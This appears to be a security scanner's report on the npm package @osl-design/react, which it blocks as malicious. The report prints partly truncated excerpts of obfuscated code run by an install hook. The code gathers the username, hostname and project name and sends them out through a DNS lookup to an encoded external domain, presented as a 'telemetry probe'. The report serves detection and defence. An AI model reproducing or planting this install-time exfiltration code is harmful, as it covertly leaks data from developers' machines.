@osl-design/react: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@osl-design/react: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"install": "node index.js", "test": "node test/smoke.js" }, "files": ["index.js","

High

Suspicious Lifecycle Evidence

The install lifecycle runs the package entrypoint automatically.

package.jsonView on unpkg · L8

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./e6b4f2.js');const cfg=require('./f7c5a3.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8const diag=require('./e6b4f2.js');const cfg=require('./f7c5a3.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x6

High

Ai Review Evidence

The probe gathers the local username, hostname, current-project basename, and time into a DNS label.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

8diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

High

Ai Review Evidence

The probe resolves the constructed label through DNS at module load time.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ } module.exports = require('./src');

High

Ai Review Evidence

The entrypoint loads the runtime during installation.

index.jsView on unpkg · L7

runtime/support/telemetry/probe/e6b4f2.jsView file

2const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];const clean=(s)=>(s+'').replace(/[^a-z0-9]/gi,'').slice(0,15);module.exports={os:_0xc2j0,dns:_0xd3k1,proc:_0xe4l2,clean:clean};

High

Ai Review Evidence

Obfuscated helpers load operating-system and DNS modules, and another helper encodes an external DNS domain.

runtime/support/telemetry/probe/e6b4f2.jsView on unpkg · L2

runtime/support/telemetry/probe/f7c5a3.jsView file

2const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0

High

Ai Review Evidence

Obfuscated helpers load operating-system and DNS modules, and another helper encodes an external DNS domain.

runtime/support/telemetry/probe/f7c5a3.jsView on unpkg · L2

Source & flagged code

8 flagged

package.jsonView file

Lines 1-20json

1{

2 "name": "@osl-design/react",

3 "version": "9.9.10",

4 "description": "Design system runtime: themes, locales, component registry and spacing",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

High

Suspicious Lifecycle Evidence

The install lifecycle runs the package entrypoint automatically.

package.jsonView on unpkg · L8

12 "keywords": ["design-system", "react", "theme", "tokens", "locale", "components", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/osl-design/react.git" },

15 "homepage": "https://github.com/osl-design/react#readme",

16 "bugs": { "url": "https://github.com/osl-design/react/issues" },

17 "author": "OSL Design System <eng@osl-design.dev>",

18 "license": "MIT"

19}

20

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./e6b4f2.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @osl-design/react — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

8module

runtime/support/telemetry/probe/e6b4f2.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/f7c5a3.jsView file

Lines 1-3javascript

1'use strict';

2const _0xa1b2=[0x2e];const _0xb2c3=[0x6f,0x73,0x6c,0x64,0x72];const _0xc3d4